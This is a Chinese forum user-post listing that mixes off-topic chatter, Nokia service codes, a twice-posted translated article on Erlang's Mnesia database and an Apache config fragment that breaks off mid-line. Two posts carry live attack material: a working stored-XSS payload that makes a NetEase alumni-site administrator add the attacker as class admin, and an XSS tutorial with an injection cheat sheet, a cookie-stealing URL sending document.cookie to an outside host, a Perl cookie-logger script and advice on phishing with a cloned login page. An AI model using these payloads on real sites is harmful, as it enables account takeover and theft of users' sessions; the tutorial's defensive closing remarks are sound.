查看所有帖子回复: Cisco IOS Cookbook 中文精简版 |
||
|---|---|---|
|
新进会员
![]()
注册日期:
1970/1/1 7:00 所属群组:
注册会员 帖子:
2
等级: 1; EXP: 2
HP : 0 / 0 MP : 0 / 76 ![]() |
这么多..辛苦了 =.=
非常感谢!!
今天 20:05
|
|
工具箱
|
||
回复: 孤岛 |
||
|---|---|---|
|
网站管理员
![]()
注册日期:
1970/1/1 7:00 所属群组:
网站管理员 帖子:
6646
等级: 56; EXP: 85
HP : 0 / 1396 MP : 2215 / 157120 ![]() |
*#06# 查询IMEI号码 所有手机通用
*#7370# 格式化手机 Series 60手机专用 *#7780# 恢复出厂设置 Series 60和Series 40手机通用 *#0000# 查询当前软件版本号 所有手机通用 *#7760# 查询生产线号码 Series 40手机专用 *#2820# 查询蓝牙设备地址 Series 60和Series 40手机通用 *#92702689# 查询总通话时间 *#7370925538# 为手机上锁 Series 60手机专用
昨天 1:38
|
|
工具箱
|
||
孤岛 |
||
|---|---|---|
|
网站管理员
![]()
注册日期:
1970/1/1 7:00 所属群组:
网站管理员 帖子:
6646
等级: 56; EXP: 85
HP : 0 / 1396 MP : 2215 / 157120 ![]() |
嘿嘿 验证码
82436427 附件: 1.jpg (9.97 KB)![]()
昨天 1:31
|
|
工具箱
|
||
嘿嘿 |
||
|---|---|---|
|
新进会员
![]()
注册日期:
7/1 22:33 所属群组:
注册会员 帖子:
1
等级: 1; EXP: 0
HP : 0 / 0 MP : 0 / 0 ![]() |
嘿嘿
7/1 22:34
|
|
工具箱
|
||
跨站获得管理员权限 |
||
|---|---|---|
|
网站管理员
![]()
注册日期:
1970/1/1 7:00 所属群组:
网站管理员 帖子:
6646
等级: 56; EXP: 85
HP : 0 / 1396 MP : 2215 / 157120 ![]() |
1.方法:
网易同学录留言功能存在跨站,这里演示一个利用它把自己加为班级管理员的方法。 在留言框里填写: +++try%20%7B%0D%0A%09var%20as%20%3D%20document.getElementsByTagName%28%22a%22%29%3B%0D%0A%09var%20frm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09frm.onload%20%3D%20function%28%29%20%7B%0D%0A%09%09var%20oFrm%20%3D%20document.getElementsByTagName%28%22iframe%22%29%5B0%5D%3B%0D%0A%09%09oFrm.onload%20%3D%20%22%22%3B%0D%0A%09%09var%20oDoc%20%3D%20oFrm.contentWindow.document%3B%0D%0A%09%09oDoc.all%5B%22who%22%5D%5B1%5D.checked%20%3D%20true%3B%0D%0A%09%09oDoc.dealmember.action%20%3D%20%22backaction/UpdateClassMate.jsp%3Ff%3D1%22%3B%0D%0A%09%09oDoc.dealmember.submit%28%29%3B%0D%0A%09%7D%0D%0A%09frm.src%20%3D%20as%5B34%5D.href%3B%0D%0A%7D%20catch%20%28e%29%20%7B%0D%0A%09alert%28e%29%3B%0D%0A%7D--- 在留言的贴图url的输入框里填写: http://alumniimg.163.com/new/images/classhome_logo.gif" onload="var t=document.body.innerHTML;var s=t.indexOf('+++')+3;var e=t.indexOf('---');eval(unescape(t.substring(s,e)));"> 管理员察看班级留言时就会把我添加为管理员。 2.原理: 留言框里填写的留言+++和---之间的部分代码解码后如下: try { var as = document.getElementsByTagName("a"); var frm = document.getElementsByTagName("iframe")[0]; frm.onload = function() { var oFrm = document.getElementsByTagName("iframe")[0]; oFrm.onload = ""; var oDoc = oFrm.contentWindow.document; oDoc.all["who"][1].checked = true; oDoc.dealmember.action = "backaction/UpdateClassMate.jsp?f=1"; oDoc.dealmember.submit(); } frm.src = as[34].href; } catch (e) { alert(e); } 漏洞出在贴图url的输入框没有过滤url,我在这里贴一个图,加上个onload事件,只要图片 url有效,图片正常载入就会触发该事件,执行我的onload里的代码,而onload里的代码搜索 我的留言里的代码,进行解码,然后执行。因为图片url的长度有限制,所以我才做这么一次 跳转,把我要做的事情分为两步。 3.最后: 为什么要贴这个没啥技术含量的东西,主要是觉得比较funy,你不觉得这样的利用过程和溢出 跳转执行shellcode有异曲同工的意思,因为有长度限制,所以我们要把shellcode分为几部分, 第一部分跳到第二部分来突破长度的限制,所有漏洞的原理本身就相似。 跨站的利用也可以玩的很有意思,比如"现有html和js上下文的利用,自我隐藏,脚本变形, 突破长度限制,跨站漏洞蠕虫等等",抛个砖头在这里等大家的玉。
7/1 19:58
|
|
工具箱
|
||
跨站脚本之完全总结 |
||
|---|---|---|
|
网站管理员
![]()
注册日期:
1970/1/1 7:00 所属群组:
网站管理员 帖子:
6646
等级: 56; EXP: 85
HP : 0 / 1396 MP : 2215 / 157120 ![]() |
跨站脚本之完全总结
以前看过分析家写过一篇文章,介绍跨站脚本的安全隐患,当时只是知道有这样的问题,也没有仔细阅读,目前此类问题经常在一些安全站点发布,偶刚好看到这样一篇文章,抱着知道总比不知道好的想法,翻译整理了一下,错误之处请多多指点。 什么是跨站脚本(CSS/XSS)? 我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行, 有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。 XSS和脚本注射的区别? 原文里作者是和他一个朋友(b0iler)讨论后,才明白并非任何可利用脚本插入实现攻击的漏洞都被称为XSS,还有另一种攻击方式:"Script Injection",他们的区别在以下两点: 1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如 :sql injection,XPath injection. 2.跨站脚本是临时的,执行后就消失了 什么类型的脚本可以被插入远程页面? 主流脚本包括以下几种: HTML JavaScript (本文讨论) VBScript ActiveX Flash 是什么原因导致一个站点存在XSS的安全漏洞? 许多cgi/php脚本执行时,如果它发现客户提交的请求页面并不存在或其他类型的错误时,出错信息会被打印到一个html文件,并将该错误页面发送给访问者。 例如: 404 - yourfile.html Not Found! 我们一般对这样的信息不会注意,但是现在要研究CSS漏洞的成因,我们还是仔细看一下。 例:www.somesite.tld/cgi-bin/program.cgi?page=downloads.html 该URL指向的连接是有效的,但是如果我们把后面的downloads.html替换成brainrawt_owns_me.html,一个包含404 - brainrawt_owns_me.html Not Found! 信息的页面将反馈给访问者的浏览器。考虑一下它是如何把我们的输入写到html文件里的? OK,现在是我们检查XSS漏洞的时候了! 注意:下面仅仅是一个例子,该页面存在XSS漏洞,我们可以插入一写javascript代码到页面里。当然方法很多 www.somesite.tld/cgi-bin/progr ... ?page=<script>alert ('XSS_Vuln_Testing')</script> 当我们提交这个URL的时候,在我们的浏览器中弹出一个消息框,"XSS_Vuln_Testing"? 这个例子只是一个XSS漏洞的简单演示,并无实际意义,但足以说明问题所在。 下面我们分析一下造成该运行结果的原因,program.cgi对我们的输入没有经过有效过滤处理,就直接写入404 error页面中,结果创建了一个页面,如下: <html> <b>404</b> - <script>alert('XSS_Vuln_Testing')</script> Not Found! </html> 其中的javascript脚本通过浏览器解释执行,然后就出现了你所看到的结果。 如何利用XSS来完成hacking? 如同前面所提到,如果用户提交的请求不能得到满足,那么服务器端脚本会把输入信息写入一个html文件,当服务器端程序对写入html文件的数据没有进行有效过滤,恶意脚本就可以插入到该html文件里。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。 事例: 假设你发现myemailserver.tld有CSS漏洞,你想要获得其中一个人的email帐号,比如我们的目标是b00b这个人。 www.myemailserver.tld/cgi-bin/news.cgi?article=59035 把上面存在CSS漏洞的连接修改一下: www.myemailserver.tld/cgi-bin/news.cgi?article=hax0red 这会创建了一个错误页面,我们得到如下信息: Invalid Input! [article=hax0red] 当插入下面这样的javascript代码时,你的屏幕上会弹出一个包含test的消息框。 www.myemailserver.tld/cgi-bin/ ... ticle=<script>alert('test')< /script> <script>并没有打印到屏幕上,它是隐藏在背后执行,由于服务器端程序并没有对 <script>alert('test')</script>进行有效过滤,所以在页面发回到浏览器并执行了该脚本。 下面我们瞧瞧如何利用该漏洞入侵 b00b同志的邮箱,首先你必须知道b00b的email地址,并且知道cookies的作用。那么你可以告诉b00b一个恶意的连接,嘿嘿,当然它的用意就是从b00b机器中cookie信息里获得自己想要的东东。想办法让b00b访问myemailserver.tld站点发表的文章,比如说:"亲爱的b00b,看看这个美 女如何呀?" 那么当可怜的b00b访问 www.myemailserver.tld/cgi-bin/ ... gi?article=<script>偷取 并保存cookie的脚本 </script> 连接时,发生什么事情?cookie都有了,你该知道怎么办了吧! 如果在你目前不是这样的情形,你可以拷贝email服务器的登陆页面,挂到其他的系统上,然后引导用户登陆你的恶意系统页面这样用户信息你可以记录下来,然后再把记录的信息发送回真正的email服务器页面,那些笨蛋并不会意识到实际发生的事情。 把javascript脚本插入WEB页面的不同方法: <snip> 拷贝自:GOBBLES SECURITY ADVISORY #33 Here is a cut-n-paste collection of typical JavaScript-injection hacks you may derive some glee from playing with. <a href="javascript#[code]"> <div onmouseover="[code]"> <img src="javascript:[code]"> <img dynsrc="javascript:[code]"> [IE] <input type="image" dynsrc="javascript:[code]"> [IE] <bgsound src="javascript:[code]"> [IE] &<script>[code]</script> &{[code]}; [N4] <img src=&{[code]};> [N4] <link rel="stylesheet" href="javascript:[code]"> <iframe src="vbscript:[code]"> [IE] <img src="mocha:[code]"> [N4] <img src="livescript:[code]"> [N4] <a href="about:<script>[code]</script>"> <meta http-equiv="refresh" content="0;url=javascript:[code]"> <body onload="[code]"> <div style="background-image: url(javascript:[code]);"> <div style="behaviour: url([link to code]);"> [IE] <div style="binding: url([link to code]);"> [Mozilla] <div style="width: expression([code]);"> [IE] <style type="text/javascript">[code]</style> [N4] <object classid="clsid:..." codebase="javascript:[code]"> [IE] <style><!--</style><script>[code]//--></script> <![CDATA[<!--]]><script>[code]//--></script> <!-- -- --><script>[code]</script><!-- -- --> <script>[code]</script> <img src="blah"onmouseover="[code]"> <img src="blah>" onmouseover="[code]"> <xml src="javascript:[code]"> <xml id="X"><a><b><script>[code]</script>;</b></a></xml> <div datafld="b" dataformatas="html" datasrc="#X"></div> [xC0][xBC]script>[code][xC0][xBC]/script> [UTF-8; IE, Opera] ----Copied from GOBBLES SECURITY ADVISORY #33---- </snip> 一个真正的获取cookie并且做记录的例子: 注意:要使它工作,你的浏览器必须允许接受http://website.tld站点发送的cookies, 当我测试下面的信息时,使用 javascript创建访问者的cookies,javascript脚本放在index.html文件中。 OK,下面假设http://website.tld存在XSS攻击的安全隐患,存在漏洞的连接是: http://website.tld/program.cgi?input=<evil javascript> 我们创建这样一个连接: http://website.tld/program.cgi?input=<script> document.location='http://yoursite .tld /cgi-bin/evil_cookie_logger.cgi?'+document.cookie</script> 然后让保存该站点cookie的用户访问这个连接: 这是我们的CGI脚本,它的作用就是对用户cookie做记录: ---------evil_cookie_logger.cgi----------- #!/usr/bin/perl # evil_cookie_logger.cgi # remote cookie logging CGI coded by BrainRawt # # NOTE: coded as a proof of concept script when testing for # cross-site scripting vulnerabilities. $borrowed_info = $ENV{'QUERY_STRING'}; $borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg; open(EVIL_COOKIE_LOG, ">>evil_cookie_log") or print "Content-type: text/htmlnn something went wrongn"; print EVIL_COOKIE_LOG "$borrowed_infon"; print "Content-type: text/htmlnn"; close(EVIL_COOKIE_LOG); ------------------------------------------ 该脚本首先通过 $ENV{'QUERY_STRING'}获得cookie,打印到$borrowed_info变量里,通过open(EVIL_COOKIE_LOG, ">>evil_cookie_log"),把cookie信息保存到evil_cookie_log文件。 注意:上面的javascript脚本,可能在一些浏览器或者站点上不能执行, 这仅仅是我在自己的站点上做测试用的。 如何防范XSS攻击? 1.在你的WEB浏览器上禁用javascript脚本 2..开发者要仔细审核代码,对提交输入数据进行有效检查,如"<"和">"。 可以把"<",">"转换为<,> 注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符, 这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。 对受害者来说不要访问包含<script>字符的连接,一些官方的URL不会包括任何脚本元素。
7/1 19:51
|
|
工具箱
|
||
回复: Erlang的Mnesia 为高伸缩性应用准备的DBMS |
||
|---|---|---|
|
网站管理员
![]()
注册日期:
1970/1/1 7:00 所属群组:
网站管理员 帖子:
6646
等级: 56; EXP: 85
HP : 0 / 1396 MP : 2215 / 157120 ![]() |
Erlang的Mnesia??为高伸缩性应用准备的数据库管理系统
作者 Gavin Terrill译者 岳立东 发布于 2007年8月22日 下午9时30分 社区 Architecture 主题 性能和可伸缩性, 实时 标签 并发, Erlang, 数据库 看来我们很可以称2007为“数据库正规化的神秘面纱被揭穿的一年”。我们已经看到了一些有意思的讨论,一些大型网站为了能够处理每小时上千万的访问请求,而放弃了传统关系数据库的路子。根据Joe Gregorio最近的观察,出现了这样一些常见方案(这里强调的是我的观点): 如果你想伸展到拍字节(Petabyte,2的50次方,约千万亿)的级别,或者每天数十亿请求,你就需要: 分布式部署。数据必须分布到多台机器上去。 无表连接(Joinless)。至少在数据存储层次上,不能使用表连接(Join),也不要定义关联完整性约束。 去正规化。虽然没有人直说,但我想如果你要避免使用表连接,就会有很多去正规化工作。 无事务。不能按事务方式操作。 这些约束从根本上区别于(传统)关系数据库。 这些特征可以用来描述Mnesia,Erlang的分布式数据库管理系统,通过复制方式支持高伸缩性和容错性,可以不需要传统关系数据库的表连接就检索记录。Mnesia属于Erlang/OTP项目,是为运行于Erlang虚拟机上用Erlang语言开发的应用设计的(有用于C/C++和Java的接口)。 在1999年发布的白皮书《Mnesia??适用于电信应用的分布式健壮数据库管理系统》中,作者(H?kan Mattsson、Hans Nilsson和Claes Wikstrom)介绍了这个数据库的概念和关键区别,这些概念和区别所具备的预见能力很是令人惊叹。以下来自摘要: Mnesia数据库管理系统运行于数据拥有者应用的同一个地址空间中,但是应用不可能破坏数据库内容。这保障了快速访问的同时能够有效容错,而这二者一般是相互冲突的需求。Mnesia植根于Erlang编程语言,基于Erlang的诸多特性而得以实现。 论文第一节解释了当初建立这么一个数据库管理系统的动机是电信应用苛刻的容错和高可靠性需求。这些要求是: 实时快速的键/值检索; 非实时的复杂查询主要在运营和维护时进行; 分布式的应用,从而数据也必须分布; 高容错性; 动态重新配置; 复杂对象。 论文第二节概览了Mnesia的组件。Mnesia由多个Erlang应用组成,它们提供数据库管理系统的核心服务,比如锁定、事务管理和复制。作者们指出Erlang非常适合用来实现这个系统,它包括了大概2万行代码。查询语法是Erlang的一部分,数据模型类似于对象-关系数据库管理系统。 Mnesia另一个有趣的地方是与Erlang编程语言的严密耦合,基本上把Erlang变成了数据库编程语言。这样好处很多,最大的好处是数据库使用的数据格式和编程语言用来操作数据的数据格式之间完全不会出现阻抗失配。 其数据模型支持表的概念,一条记录等价于一行,其中每一列都可以存储“任意复杂的组合数据结构,例如树、函数、闭包和代码等等”。一个Erlang复杂记录的例子如下: X = #person{ name = klacke, data = {male, 36, 971191}, married_to = eva, children = [marten, maja, klara]}. Mnesia也支持一个和视图(View)类似的概念,这个概念被称为规则(Rules)。 复制是使Mnesia成为一个容错数据库管理系统的机制之一。数据表可以被复制到混合网络中的多个节点,而对应用来说却是透明的。被复制的数据表是对等的,也就是说没有主-从结构。 论文第三节详细描述了Mnesia的一些独有特性: 复杂值。Mnesia以自然有效的方式支持复杂值的操作(换言之,通过一次检索操作)。“以第三(甚至是第一)范式组织电信数据通常不太可能。”列里可以存储复杂值就意味着不再需要表连接。 数据格式和地址空间。此数据库管理系统运行在应用的地址空间里。这就允许检索返回对象指针,而不需要在不同数据格式之间暗地转换对象,或者通过连线去操作对象。论文提及到Erlang中一个应用即使崩溃也不会影响到数据库,这克服了这种方式下应用的崩溃有可能影响数据库的常见诟病。“Erlang进程的效能有一个优势,运行在同一个地址空间但是不可能直接读取或者写入其他进程的存储空间。” 容错。数据表可以被复制到多个计算节点中。事务上下文中的写操作会被应用到所有副本,通过恢复时更新,当时宕机的副本也能够被更新。“这个机制使得多个地理上分开的系统联合提供一个连续运行的不停机系统设计成为可能。” 分布和位置透明。应用开发者能够透明访问数据表??无论远程的还是本地的,还是数据表副本。不过在性能关键的地方,也有办法获知数据表的位置,并且让代码在尽量靠近事发数据的位置执行。 事务和ACID。Mnesia支持ACID(A=原子性,C=一致性,I=隔离性,D=耐久性),不过也提供仅限于内存的数据表操作能力(以牺牲耐久性为代价)。 绕开事务管理器的能力。“脏接口(dirty interface)”的概念被作为一个轻量级加锁机制引入,从而避免使用事务管理器的额外开销。这个能力对性能关键的操作比较有用,比如检索一条记录。“这些脏操作 是真正的实时数据库操作:无论数据库是大是小,他们都消耗可以预测的执行时间。” 查询。查询通过被称为“列表领悟(List Comprehension)语法”的方式表达。例如,要找到子女多于X个的人,表达式可以写成:query [P.name || P < table(person), length(P.children) > X] end. Schema的修改。Erlang语言自身既支持不停止进程情况下修改运行中进程代码的能力。这就允许Mnesia数据库动态的修改Schema。“Mnesia既然是为不停机应用设计的,所有系统活动比如备份、修改Schema、导出表数据到二级存储, 还有副本复制都必须在后台进行,同时允许应用和平常一样访问和修改数据表。” 在论文第四节中,作者们探索了具体实现的各方面,比如持久、锁管理、查询实现,以及分布应用的各节点可能会运行于不同字节顺序的计算机的情况,进而使得这样一个系统能够工作于混杂环境中。 第五节讨论了性能问题,发现“脏接口”比事务控制下的对应部分快得相当多。如预期一样,同步复制的代价使事务执行时间明显延长。完成一个事务的时间(以毫秒计)在单节点上是:常规锁??1877,显式写入锁??1225,而使用“脏接口”的话是181。如果是3个节点的话,相同事务类型测量到的时间依次为:13372、12185和1121。 论文得出如下结论: Mnesia系统现在正被爱立信用来构建实际的产品,也就是说它不再只是一个原型系统,它已经成熟到可以贴上产品的标签。 Mnesia的开发从该论文后一直在继续,加入了如分片表(fragmented tables,类似shards,但在数据库层次上处理)等更多特性,也被用在开源项目如YAWS(Erlang Web服务器)和ejabberd(XMPP服务器)中。 对于横向分片数据,Mnesia在伸缩性和低延迟事务上表现突出, 接下来的一个挑战可能是对于超大规模数据集它如何伸展。有人提到了超过6千万行的例子。然而如Bill de h?ra最近写到的,增长的数据容量将迫使我们重新思考我们的数据库策略: 我想在对日常编程工作的影响上,增长的数据容量要远远超过多核。我过去几年所做的工作,一个不变的主题就是处理越来越大的数据集。被Joe Gregorio称为“Megadata(兆数据)”(但现在希望他没这么说过)。大数据集已不再是几家大公司的深奥议题,而是变得非常常见。 然后得出结论: 大容量意味着你需要不用管数据的去向而只是写入。而且对于关键字检索方式的读取,你需要基于文件系统,而不是关系数据库管理系统(在没有表连接、约束或触发器的前提下,关系数据库管理系统就是一个索引了的文件系统)。那样最终就是像Hadoop、Mogilefs或S3一样的东西??并行数据架构。 随着对Erlang/OTP的兴趣提升(包括最近的InfoQ文章),这个项目最终也应该是像Mnesia一样的东西。 查看英文原文:Erlang's Mnesia - a distributed DBMS for highly scalable apps -------------------------------------------------------------------------------- 译者简介:岳立东,Ableverse创始人,技术推广大使。开源项目WoW(内含ToB对象数据库)和SecureJSH创建者。目前致力于东道组件接合(Hosting Based Interfacing)理论研究,在此基础上的软件并行分布架构及对象数据库应用,技术博客http://complystill.javaeye.com/。欲参与InfoQ中文站内容建设,请邮件至china-editorial[at]infoq.com。 加入书签 鲜果+, digg+, reddit+,
7/1 2:43
|
|
工具箱
|
||
Erlang的Mnesia 为高伸缩性应用准备的DBMS |
||
|---|---|---|
|
网站管理员
![]()
注册日期:
1970/1/1 7:00 所属群组:
网站管理员 帖子:
6646
等级: 56; EXP: 85
HP : 0 / 1396 MP : 2215 / 157120 ![]() |
看来我们很可以称2007为“数据库正规化的神秘面纱被揭穿的一年”。我们已经看到了一些有意思的讨论,一些大型网站为了能够处理每小时上千万的访问请求,而放弃了传统关系数据库的路子。根据Joe Gregorio最近的观察,出现了这样一些常见方案(这里强调的是我的观点):
如果你想伸展到拍字节(Petabyte,2的50次方,约千万亿)的级别,或者每天数十亿请求,你就需要: 分布式部署。数据必须分布到多台机器上去。 无表连接(Joinless)。至少在数据存储层次上,不能使用表连接(Join),也不要定义关联完整性约束。 去正规化。虽然没有人直说,但我想如果你要避免使用表连接,就会有很多去正规化工作。 无事务。不能按事务方式操作。 这些约束从根本上区别于(传统)关系数据库。 这些特征可以用来描述Mnesia,Erlang的分布式数据库管理系统,通过复制方式支持高伸缩性和容错性,可以不需要传统关系数据库的表连接就检索记录。Mnesia属于Erlang/OTP项目,是为运行于Erlang虚拟机上用Erlang语言开发的应用设计的(有用于C/C++和Java的接口)。 在1999年发布的白皮书《Mnesia??适用于电信应用的分布式健壮数据库管理系统》中,作者(H?kan Mattsson、Hans Nilsson和Claes Wikstrom)介绍了这个数据库的概念和关键区别,这些概念和区别所具备的预见能力很是令人惊叹。以下来自摘要: Mnesia数据库管理系统运行于数据拥有者应用的同一个地址空间中,但是应用不可能破坏数据库内容。这保障了快速访问的同时能够有效容错,而这二者一般是相互冲突的需求。Mnesia植根于Erlang编程语言,基于Erlang的诸多特性而得以实现。 论文第一节解释了当初建立这么一个数据库管理系统的动机是电信应用苛刻的容错和高可靠性需求。这些要求是: 实时快速的键/值检索; 非实时的复杂查询主要在运营和维护时进行; 分布式的应用,从而数据也必须分布; 高容错性; 动态重新配置; 复杂对象。 论文第二节概览了Mnesia的组件。Mnesia由多个Erlang应用组成,它们提供数据库管理系统的核心服务,比如锁定、事务管理和复制。作者们指出Erlang非常适合用来实现这个系统,它包括了大概2万行代码。查询语法是Erlang的一部分,数据模型类似于对象-关系数据库管理系统。 Mnesia另一个有趣的地方是与Erlang编程语言的严密耦合,基本上把Erlang变成了数据库编程语言。这样好处很多,最大的好处是数据库使用的数据格式和编程语言用来操作数据的数据格式之间完全不会出现阻抗失配。 其数据模型支持表的概念,一条记录等价于一行,其中每一列都可以存储“任意复杂的组合数据结构,例如树、函数、闭包和代码等等”。一个Erlang复杂记录的例子如下: X = #person{ name = klacke, data = {male, 36, 971191}, married_to = eva, children = [marten, maja, klara]}. Mnesia也支持一个和视图(View)类似的概念,这个概念被称为规则(Rules)。 复制是使Mnesia成为一个容错数据库管理系统的机制之一。数据表可以被复制到混合网络中的多个节点,而对应用来说却是透明的。被复制的数据表是对等的,也就是说没有主-从结构。 论文第三节详细描述了Mnesia的一些独有特性: 复杂值。Mnesia以自然有效的方式支持复杂值的操作(换言之,通过一次检索操作)。“以第三(甚至是第一)范式组织电信数据通常不太可能。”列里可以存储复杂值就意味着不再需要表连接。 数据格式和地址空间。此数据库管理系统运行在应用的地址空间里。这就允许检索返回对象指针,而不需要在不同数据格式之间暗地转换对象,或者通过连线去操作对象。论文提及到Erlang中一个应用即使崩溃也不会影响到数据库,这克服了这种方式下应用的崩溃有可能影响数据库的常见诟病。“Erlang进程的效能有一个优势,运行在同一个地址空间但是不可能直接读取或者写入其他进程的存储空间。” 容错。数据表可以被复制到多个计算节点中。事务上下文中的写操作会被应用到所有副本,通过恢复时更新,当时宕机的副本也能够被更新。“这个机制使得多个地理上分开的系统联合提供一个连续运行的不停机系统设计成为可能。” 分布和位置透明。应用开发者能够透明访问数据表??无论远程的还是本地的,还是数据表副本。不过在性能关键的地方,也有办法获知数据表的位置,并且让代码在尽量靠近事发数据的位置执行。 事务和ACID。Mnesia支持ACID(A=原子性,C=一致性,I=隔离性,D=耐久性),不过也提供仅限于内存的数据表操作能力(以牺牲耐久性为代价)。 绕开事务管理器的能力。“脏接口(dirty interface)”的概念被作为一个轻量级加锁机制引入,从而避免使用事务管理器的额外开销。这个能力对性能关键的操作比较有用,比如检索一条记录。“这些脏操作 是真正的实时数据库操作:无论数据库是大是小,他们都消耗可以预测的执行时间。” 查询。查询通过被称为“列表领悟(List Comprehension)语法”的方式表达。例如,要找到子女多于X个的人,表达式可以写成:query [P.name || P < table(person), length(P.children) > X] end. Schema的修改。Erlang语言自身既支持不停止进程情况下修改运行中进程代码的能力。这就允许Mnesia数据库动态的修改Schema。“Mnesia既然是为不停机应用设计的,所有系统活动比如备份、修改Schema、导出表数据到二级存储, 还有副本复制都必须在后台进行,同时允许应用和平常一样访问和修改数据表。” 在论文第四节中,作者们探索了具体实现的各方面,比如持久、锁管理、查询实现,以及分布应用的各节点可能会运行于不同字节顺序的计算机的情况,进而使得这样一个系统能够工作于混杂环境中。 第五节讨论了性能问题,发现“脏接口”比事务控制下的对应部分快得相当多。如预期一样,同步复制的代价使事务执行时间明显延长。完成一个事务的时间(以毫秒计)在单节点上是:常规锁??1877,显式写入锁??1225,而使用“脏接口”的话是181。如果是3个节点的话,相同事务类型测量到的时间依次为:13372、12185和1121。 论文得出如下结论: Mnesia系统现在正被爱立信用来构建实际的产品,也就是说它不再只是一个原型系统,它已经成熟到可以贴上产品的标签。 Mnesia的开发从该论文后一直在继续,加入了如分片表(fragmented tables,类似shards,但在数据库层次上处理)等更多特性,也被用在开源项目如YAWS(Erlang Web服务器)和ejabberd(XMPP服务器)中。 对于横向分片数据,Mnesia在伸缩性和低延迟事务上表现突出, 接下来的一个挑战可能是对于超大规模数据集它如何伸展。有人提到了超过6千万行的例子。然而如Bill de h?ra最近写到的,增长的数据容量将迫使我们重新思考我们的数据库策略: 我想在对日常编程工作的影响上,增长的数据容量要远远超过多核。我过去几年所做的工作,一个不变的主题就是处理越来越大的数据集。被Joe Gregorio称为“Megadata(兆数据)”(但现在希望他没这么说过)。大数据集已不再是几家大公司的深奥议题,而是变得非常常见。 然后得出结论: 大容量意味着你需要不用管数据的去向而只是写入。而且对于关键字检索方式的读取,你需要基于文件系统,而不是关系数据库管理系统(在没有表连接、约束或触发器的前提下,关系数据库管理系统就是一个索引了的文件系统)。那样最终就是像Hadoop、Mogilefs或S3一样的东西??并行数据架构。 随着对Erlang/OTP的兴趣提升(包括最近的InfoQ文章),这个项目最终也应该是像Mnesia一样的东西。
7/1 2:42
|
|
工具箱
|
||
回复: 饿 |
||
|---|---|---|
|
新进会员
![]()
注册日期:
6/11 15:34 所属群组:
注册会员 帖子:
5
等级: 1; EXP: 34
HP : 0 / 8 MP : 1 / 1 ![]() |
...
附件: 509d045884be0dd29d8204f3.jpg (57.97 KB)![]() 0324162.gif (19.21 KB)![]()
6/29 1:45
|
|
工具箱
|
||
回复: 饿 |
||
|---|---|---|
|
新进会员
![]()
注册日期:
6/11 15:34 所属群组:
注册会员 帖子:
5
等级: 1; EXP: 34
HP : 0 / 8 MP : 1 / 1 ![]() |
我..我我我我我打死你!!
6/29 1:42
|
|
工具箱
|
||
回复: APACHE安装笔记 |
||
|---|---|---|
|
网站管理员
![]()
注册日期:
1970/1/1 7:00 所属群组:
网站管理员 帖子:
6646
等级: 56; EXP: 85
HP : 0 / 1396 MP : 2215 / 157120 ![]() |
Timeout 30
KeepAlive Off MaxKeepAliveRequests 100 KeepAliveTimeout 1 <IfModule mpm_prefork_module> MinSpareServers 10 MaxSpareServers 15 StartServers 10 MaxClients 150 MaxRequestsPerChild 1000 </IfModule> ServerRoot "e:/bin/apache/apache2.2.6" Listen 80 #LoadModule actions_module modules/mod_actions.so LoadModule alias_module modules/mod_alias.so #LoadModule asis_module modules/mod_asis.so LoadModule auth_basic_module modules/mod_auth_basic.so #LoadModule auth_digest_module modules/mod_auth_digest.so #LoadModule authn_anon_module modules/mod_authn_anon.so #LoadModule authn_dbm_module modules/mod_authn_dbm.so LoadModule authn_default_module modules/mod_authn_default.so LoadModule authn_file_module modules/mod_authn_file.so #LoadModule authz_dbm_module modules/mod_authz_dbm.so LoadModule authz_default_module modules/mod_authz_default.so LoadModule authz_groupfile_module modules/mod_authz_groupfile.so LoadModule authz_host_module modules/mod_authz_host.so LoadModule authz_user_module modules/mod_authz_user.so LoadModule autoindex_module modules/mod_autoindex.so #LoadModule cern_meta_module modules/mod_cern_meta.so LoadModule cgi_module modules/mod_cgi.so #LoadModule dav_module modules/mod_dav.so #LoadModule dav_fs_module modules/mod_dav_fs.so LoadModule deflate_module modules/mod_deflate.so LoadModule dir_module modules/mod_dir.so #LoadModule env_module modules/mod_env.so #LoadModule expires_module modules/mod_expires.so #LoadModule file_cache_module modules/mod_file_cache.so #LoadModule headers_module modules/mod_headers.so LoadModule imagemap_module modules/mod_imagemap.so #LoadModule include_module modules/mod_include.so #LoadModule info_module modules/mod_info.so #LoadModule isapi_module modules/mod_isapi.so LoadModule log_config_module modules/mod_log_config.so LoadModule mime_module modules/mod_mime.so #LoadModule mime_magic_module modules/mod_mime_magic.so #LoadModule proxy_module modules/mod_proxy.so #LoadModule proxy_ajp_module modules/mod_proxy_ajp.so #LoadModule proxy_balancer_module modules/mod_proxy_balancer.so #LoadModule proxy_connect_module modules/mod_proxy_connect.so #LoadModule proxy_http_module modules/mod_proxy_http.so #LoadModule proxy_ftp_module modules/mod_proxy_ftp.so #LoadModule negotiation_module modules/mod_negotiation.so LoadModule rewrite_module modules/mod_rewrite.so #LoadModule setenvif_module modules/mod_setenvif.so #LoadModule speling_module modules/mod_speling.so #LoadModule status_module modules/mod_status.so #LoadModule unique_id_module modules/mod_unique_id.so LoadModule userdir_module modules/mod_userdir.so #LoadModule usertrack_module modules/mod_usertrack.so #LoadModule vhost_alias_module modules/mod_vhost_alias.so #LoadModule ssl_module modules/mod_ssl.so LoadModule php5_module "e:/bin/php/php5.2.5/php5apache2_2.dll" <Directory /> Options FollowSymLinks AllowOverride None Order deny,allow Deny from all Satisfy all </Directory> NameVirtualHost 222.222.72.233 <VirtualHost 222.222.72.233> ServerAdmin ---------- DocumentRoot "-----" ServerName www.ucwow.com ServerAlias ucwow.com </VirtualHost> <Directory "-------"> Options Indexes FollowSymLinks AllowOverride None Order Deny,Allow Deny from all Allow from all <IfModule mod_rewrite.c> RewriteEngine on RewriteCond %{HTTP_HOST} !^www\.ucwow\.com RewriteRule (.*) http://www.ucwow.com/$1 [L,R=301] RewriteRule ^((urllist|sitemap_).*\.(xml|txt)(\.gz)?)$ 